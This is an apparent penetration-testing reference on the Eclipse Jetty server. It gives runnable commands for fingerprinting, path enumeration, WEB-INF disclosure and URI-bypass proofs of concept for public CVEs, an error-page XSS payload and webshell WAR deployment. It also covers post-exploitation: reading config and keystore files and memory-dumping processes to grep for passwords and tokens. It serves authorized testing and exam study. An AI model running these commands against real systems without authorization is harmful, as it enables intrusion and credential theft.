Skip to main content

Jetty

Eclipse Jetty servlet container reference for penetration testing. Covers detection, enumeration, known CVEs, exploitation patterns, misconfigurations, and post-exploitation.


Table of Contents​


1. Detection​

Response headers​

curl -sI http://<TARGET>:8080/ | grep -iE '^(server|x-powered-by)'

Expected output:

Server: Jetty(9.4.43.v20210629)

Jetty often reports the exact version in Server. This is the primary fingerprint.

Default error pages​

Jetty default 404:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
<title>Error 404 Not Found</title>
</head>
<body>
<h2>HTTP ERROR 404 Not Found</h2>
<table>
<tr><th>URI:</th><td>/notfound</td></tr>
<tr><th>STATUS:</th><td>404</td></tr>
...
</table>
<hr/><a href="https://eclipse.org/jetty">Powered by Jetty:// 9.4.43.v20210629</a><hr/>
</body>
</html>

Powered by Jetty:// footer and the Server: Jetty(...) header together confirm.

Common ports​

  • 8080 - default HTTP (Jetty standalone)
  • 8443 - default HTTPS
  • 8888 - common in Hadoop / Spark / Jenkins behind Jetty

Embedded Jetty​

Many Java apps embed Jetty rather than run standalone:

  • Hadoop NameNode / DataNode / YARN UI
  • Spark master / worker UI
  • Jenkins (older)
  • Solr (older)
  • Graylog, Elasticsearch-head
  • JHipster, Dropwizard apps

In such cases, the app-specific URL paths (/cluster, /jobs, /, /solr) are the fastest way to identify.

nmap / whatweb​

nmap -sV -p 8080,8443,8888,50070 --script http-title,http-headers <TARGET>
whatweb -a 3 http://<TARGET>:8080/

2. Enumeration​

Version fingerprinting​

curl -sI http://<TARGET>:8080/ | grep -i '^server:'
curl -s http://<TARGET>:8080/notfound | grep -oE 'Jetty\([0-9.]+[^)]*\)'

Common paths​

for p in / /admin /manager /webapp /contexts /solr /job /cluster \
/server-info /favicon.ico /WEB-INF/web.xml /META-INF/context.xml; do
code=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>:8080$p")
echo "$code $p"
done

Context enumeration​

Jetty exposes deployed contexts if contexts/ directory is served or if jetty-webapps is enabled:

curl -s http://<TARGET>:8080/contexts/
curl -s http://<TARGET>:8080/contexts/*.xml

WEB-INF exposure​

Jetty (unlike Tomcat) can be misconfigured to serve WEB-INF and META-INF directly, exposing web.xml, context.xml, and class files:

curl -s http://<TARGET>:8080/WEB-INF/web.xml
curl -s http://<TARGET>:8080/META-INF/context.xml
curl -s http://<TARGET>:8080/WEB-INF/classes/

Directory listing​

Jetty serves directory listings by default if dirAllowed=true:

curl -s http://<TARGET>:8080/static/ | grep -iE 'index of|directory'

Directory brute force​

feroxbuster -u http://<TARGET>:8080/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x xml,jsp,class,war

HTTP methods​

curl -s -X OPTIONS -i http://<TARGET>:8080/ | grep -i allow

Jetty-specific paths​

# Server dump / info (if enabled)
curl -s http://<TARGET>:8080/jetty-dump
curl -s http://<TARGET>:8080/jetty-info
# Stats (if StatisticsHandler is enabled)
curl -s http://<TARGET>:8080/stats

3. Known CVEs​

CVE-2021-34429 - URI normalization bypass​

Jetty URI normalization can be bypassed with encoded characters (%2e, %2e%2e, %00, unicode). Combined with a servlet mapped to /, allows access to protected paths (Confluence CVE-2021-26084 used this).

NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-34429 Affected: Jetty 9.4.40 - 9.4.42, 10.0.5, 11.0.5.

CVE-2021-28164 - URI normalization bypass​

%2e in path bypasses security constraints. Same family as CVE-2021-34429.

NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-28164 Affected: Jetty 9.4.37 - 9.4.39, 10.0.1, 11.0.1.

CVE-2021-28169 - ConcatServlet / WelcomeFilter info disclosure​

ConcatServlet and WelcomeFilter in Jetty allow access to WEB-INF via path traversal in their parameters. Reads web.xml, class files.

NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-28169 Affected: Jetty 9.4.40 and earlier, 10.0.2 and earlier, 11.0.2 and earlier.

PoC:

curl --path-as-is "http://<TARGET>:8080/static?/WEB-INF/web.xml"
curl --path-as-is "http://<TARGET>:8080/static?/%2e%2e/WEB-INF/web.xml"

CVE-2019-17632 - XSS in default error page​

Reflected XSS in the default error page via Accept header or query string.

NVD: https://nvd.nist.gov/vuln/detail/CVE-2019-17632 Affected: Jetty 9.4.24 - 9.4.26.

CVE-2017-9735 - Timing side channel​

Timing attack on Password class hashing - recover plaintext of unknown passwords via timing differences. Rarely exploitable in practice.

NVD: https://nvd.nist.gov/vuln/detail/CVE-2017-9735 Affected: Jetty 9.2.22, 9.3.21, 9.4.6 and earlier.

CVE-2023-36478 - HTTP/2 DoS​

HPACK large integer overflow, DoS via crafted HTTP/2 frames.

NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-36478 Affected: Jetty 9.4.52 and earlier, 10.0.16, 11.0.16, 12.0.0.beta2.

CVE-2024-22201 - HTTP/2 DoS (SSL)​

DoS in HTTP/2 over TLS. Incomplete fix for CVE-2023-36478.

NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-22201 Affected: Jetty 9.4.54, 10.0.20, 11.0.20, 12.0.0 - 12.0.5.

Version -> CVE quick table​

VersionTypeCVE
9.4.40-9.4.42URI bypassCVE-2021-34429
9.4.37-9.4.39URI bypassCVE-2021-28164
<= 9.4.40WEB-INF readCVE-2021-28169
9.4.24-9.4.26XSSCVE-2019-17632
<= 9.4.52HTTP/2 DoSCVE-2023-36478

4. Exploitation Patterns​

ConcatServlet / WelcomeFilter WEB-INF read (CVE-2021-28169)​

If ConcatServlet is mapped (common in older configs):

curl --path-as-is "http://<TARGET>:8080/static?/WEB-INF/web.xml"
curl --path-as-is "http://<TARGET>:8080/static?/WEB-INF/classes/com/example/Db.class"

Expected output:

<web-app ...>
<servlet>
<servlet-name>DbInit</servlet-name>
<servlet-class>com.example.DbInit</servlet-class>
</servlet>
...
</web-app>

Decompile class files with jadx:

jadx Db.class

Look for hardcoded credentials, DB connection strings, secret keys.

URI normalization bypass (CVE-2021-34429 / 28164)​

# Bypass a security constraint on /admin/*
curl --path-as-is "http://<TARGET>:8080/admin%2e%2e/admin/dashboard"
curl --path-as-is "http://<TARGET>:8080/%2e/admin/dashboard"
curl --path-as-is "http://<TARGET>:8080/admin%00/dashboard"

Chains well with Spring Security misconfigurations, Confluence CVE-2021-26084, and any path-based auth.

JSP upload / WAR deploy (misconfig)​

Jetty does not ship a manager app by default (unlike Tomcat). Deployment options:

  1. Drop a WAR in webapps/ (requires file write, e.g. via a separate vuln).
  2. Use jetty-maven-plugin (dev only).
  3. contexts/*.xml if writable (deploys a new context).
# If you have file write into webapps/
cp shell.war /opt/jetty/webapps/
# Jetty auto-deploys in ~5 seconds
curl http://<TARGET>:8080/shell/

Directory listing -> source disclosure​

curl -s http://<TARGET>:8080/static/
# Look for backup files, .class, .java, config
curl -s http://<TARGET>:8080/static/backup.zip -o backup.zip
unzip backup.zip

XSS via error page (CVE-2019-17632)​

curl -s "http://<TARGET>:8080/%3Cscript%3Ealert(1)%3C/script%3E"

Embedded Jetty app-specific exploits​

When Jetty fronts Hadoop / Spark / Solr / Jenkins, look at those apps:

AppPortPathAttack
Hadoop NameNode50070/Unauthenticated HDFS access
Hadoop YARN8088/clusterYARN RCE
Spark master8080/Spark shell
Solr8983/solrVelocity SSTI, RCE
Jenkins8080/Groovy script console

5. Misconfigurations​

Directory listing enabled​

curl -s http://<TARGET>:8080/static/ | grep -iE 'index of|directory'

WEB-INF / META-INF readable​

curl -s http://<TARGET>:8080/WEB-INF/web.xml
curl -s http://<TARGET>:8080/WEB-INF/classes/
curl -s http://<TARGET>:8080/META-INF/MANIFEST.MF

Stats / info handlers exposed​

curl -s http://<TARGET>:8080/stats
curl -s http://<TARGET>:8080/jetty-info
curl -s http://<TARGET>:8080/jetty-dump

JMX exposed (RMI)​

Jetty exposes JMX on port 1099 / 9012 in some setups. If reachable:

nmap -p 1099,9012 <TARGET>
# Use jmxterm or ysoserial for RCE

Backup files​

for f in web.xml.bak web.xml.old context.xml.bak server.xml.bak; do
curl -s -o /dev/null -w "%{http_code} $f\n" "http://<TARGET>:8080/WEB-INF/$f"
done

CORS misconfig​

curl -sI -H "Origin: https://evil.com" http://<TARGET>:8080/api/ | grep -i 'access-control'

6. Post-Exploitation​

Config file locations​

OSPath
Debian/Ubuntu/etc/jetty/, /usr/share/jetty9/etc/
RHEL/CentOS/etc/jetty/, /usr/share/jetty/etc/
Manual install$JETTY_HOME/etc/
Embedded (Jenkins)$JENKINS_HOME/
Embedded (Solr)$SOLR_HOME/server/etc/
Docker/var/lib/jetty/, /opt/jetty/

What to look for​

cat /etc/jetty/jetty.xml 2>/dev/null
cat /etc/jetty/jetty-ssl.xml 2>/dev/null
cat /etc/jetty/jetty-http.xml 2>/dev/null
cat /opt/jetty/etc/jetty.xml 2>/dev/null
ls -la /opt/jetty/webapps/ /var/lib/jetty/webapps/ 2>/dev/null

Key items:

  • jetty-ssl.xml / keystore -> keystore path + password
  • jetty.xml -> connectors, thread pools, JMX settings
  • webapps/*.war -> applications (unzip + decompile)
  • contexts/*.xml -> context definitions (DataSource passwords)

Application source / class files​

find /opt/jetty/webapps/ -name '*.class' -o -name 'WEB-INF' -type d 2>/dev/null
find /opt/jetty/webapps/ -name '*.war' -exec unzip -d /tmp/deploy_{} {} \;

Decompile:

jadx /opt/jetty/webapps/myapp/WEB-INF/classes/com/example/*.class

Look for hardcoded secrets, DB connection strings, JWT signing keys.

Log files​

ls -la /var/log/jetty/ /opt/jetty/logs/ 2>/dev/null
tail -n 200 /var/log/jetty/*.log

Process user​

ps aux | grep -i jetty
id jetty
# Embedded (Jenkins/Solr): often runs as the app user

Memory dump for secrets​

# If you have root / ptrace
gcore %(pgrep -f 'jetty|jenkins|solr' | head -1)
strings core.* | grep -iE 'password|secret|key|token'

Embedded Jetty apps (Jenkins, Solr) often hold DB creds, LDAP creds, API tokens in memory.

Keystore extraction​

If jetty-ssl.xml references a keystore:

keytool -list -keystore /etc/jetty/keystore -storepass <password>
keytool -exportcert -alias jetty -keystore /etc/jetty/keystore -storepass <password> -file jetty.crt

Use for MITM or certificate impersonation if pivoting.


7. OSCP Notes​

IMPORTANT

OSCP report: screenshot the Server: Jetty(x.y.z) header - it is the exact version fingerprint.

IMPORTANT

OSCP report: for CVE-2021-28169 (WEB-INF read), screenshot the curl command AND the leaked web.xml or class file content.

IMPORTANT

OSCP report: if Jetty fronts a specific app (Jenkins, Solr, Hadoop), screenshot the app-specific version AND the exploit, not just the Jetty layer.


8. References​


Reference for authorized penetration testing, CTF, and OSCP exam preparation only.